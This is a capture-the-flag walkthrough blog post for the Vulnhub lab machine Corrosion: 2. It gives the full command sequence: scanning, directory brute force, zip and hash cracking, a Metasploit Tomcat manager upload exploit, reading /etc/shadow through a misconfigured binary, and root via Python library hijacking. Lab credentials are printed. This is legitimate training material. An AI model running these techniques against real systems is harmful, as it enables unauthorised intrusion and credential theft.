Proxy Programmer's Corrosion: 2 is a Vulnhub medium machine. We can download the lab from here. This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of situations. So, let's get started and see how we can split things down into smaller chunks.
Pentest
Methodology
Network Scanning
●
netdiscover
●
nmap
Enumeration
●
dirb
●
fcrackzip
Exploitation
●
metasploit
●
/etc/shadow
●
john
Privilege Escalation
●
ssh
●
python
library hijacking
●
root
flag
Level: Medium
Network
Scanning
To begin, we must use the
netdiscover command to scan the
network for the target machine's IP address.
netdiscover
The victim's IP address
in this case is 192.168.1.186.
We're going to use Nmap to help us move this process
along. To see all of the services stated, we need to know which ones are now
available.
nmap -sV 192.168.1.186
According
to the nmap output, we have:
●
An SSH server is available on port 22.
●
On port 80, there is an HTTP service (Apache
Server).
●
On port 8080, a Tomcat server is running on
port 8080.
Enumeration
Let's begin by looking at
the http service on port 80. There's nothing strange about that; it's
just an Apache server page.
Next,
we looked at the Tomcat server,
which was listening on port 8080.
It's a straightforward page with nothing suspicious on it.
We discovered nothing
harmful on websites. So, to continue further in this experiment, we use the dirb directory brute force method to
find some knowledge. Smash!! We discovered a directory containing a backup zip file.
dirb http://192.168.1.186:8080/ -X
.php,.zip
The backup zip file is then downloaded using the wget command. Following that, we attempted to study this file, but
it was password protected.
wget http://192.168.1.186:8080/backup.zip
unzip backup.zip
Next, we'll use the fcrackzip
utility to crack this password. It is a lightweight, open-source zip file
password cracker. The rockyou word-list is used for the brute force
attack. Boom!! We cracked its password in a matter of seconds (@administrator_hi5).
fcrackzip -D -p /usr/share/wordlists/rockyou.txt
-u backup.zip
Then we use this password
to unzip the backup zip file. We
attempt to inspect each and every file contained in this backup zip file. We
are now inspecting the tomcat users xml
file.
unzip backup.zip
cat tomcat-users.xml
Bam!! We discovered user admin and password melehifokivai credentials.
Exploitation
Now that we have the
credentials, we can begin exploiting them using a metasploit attack. In these instances, employing a Tomcat exploit is the best option. Then
give us all the information we need to use it, and we're ready to go. As you
can see, we had a meterpreter session.
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.186
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
We just switched the
directory to home. We discover that we have two users in this lab, Jaye
and Randy. We switched to user jaye. It has the same password (melehifokivai)
that we found out earlier.
cd /home
ls
su jaye
ls
We discovered that this
individual has a look called program
that allows us to locate any file. As a result, we use it to locate the /etc/shadow file. Boom!! We obtained
the hash values of all users in this
lab.
./look '' /etc/shadow
As you are aware, we
already have the password for user Jaye. We copy user randy's hash value
and save it in a file called hash.
Using John, who is
a specialist in this case, we try to crack that hash. In a matter of seconds,
we cracked the password 07051986randy.
john
--wordlist=/usr/share/wordlists/rockyou.txt hash
Privilege
Escalation
Now, we have all of the
necessary information to begin privilege escalation. To login via ssh as user randy,
we use the cracked password 07051986randy.
ssh randy@192.168.1.186
Then we used the (sudo -l) tool to examine this user's
limits. We discovered that it can be abused by python library hijacking.
The randombase64.py python code can be used to perform this hijacking. which imports another file
called base64.
sudo -l
cat /home/randy/randombase64.py
To obtain base64 file
coordinates, we use the locate command. In a couple of seconds, we
discover its coordinates. We investigated the file's restrictions. Using this
file, we can gain root access.
locate base64
ls -la /usr/lib/python3.8/base64.py
We made some changes to
this base64 python file using the nano command. Add this code to get root
access to the victim's machine.
import os
os.system ("/bin/bash")
We are now coordinating
the use of both Python files. Boom!! We obtained root access. We
immediately changed the directory to root and received the root flag
in a matter of seconds.
sudo /usr/lib/python3.8
/home/randy/randombase64.py
cd /root
cat root.txt
This was a fantastic lab
with a lot of information, especially in the enumeration and privilege
escalation areas. It is worthwhile to attempt to gain CTF experience.
Hopefully, this walk-through should have taught you something new.
Author: Shubham Sharma is a passionate
Cybersecurity Researcher, contact LinkedIn and Twitter.
0 comments:
Post a Comment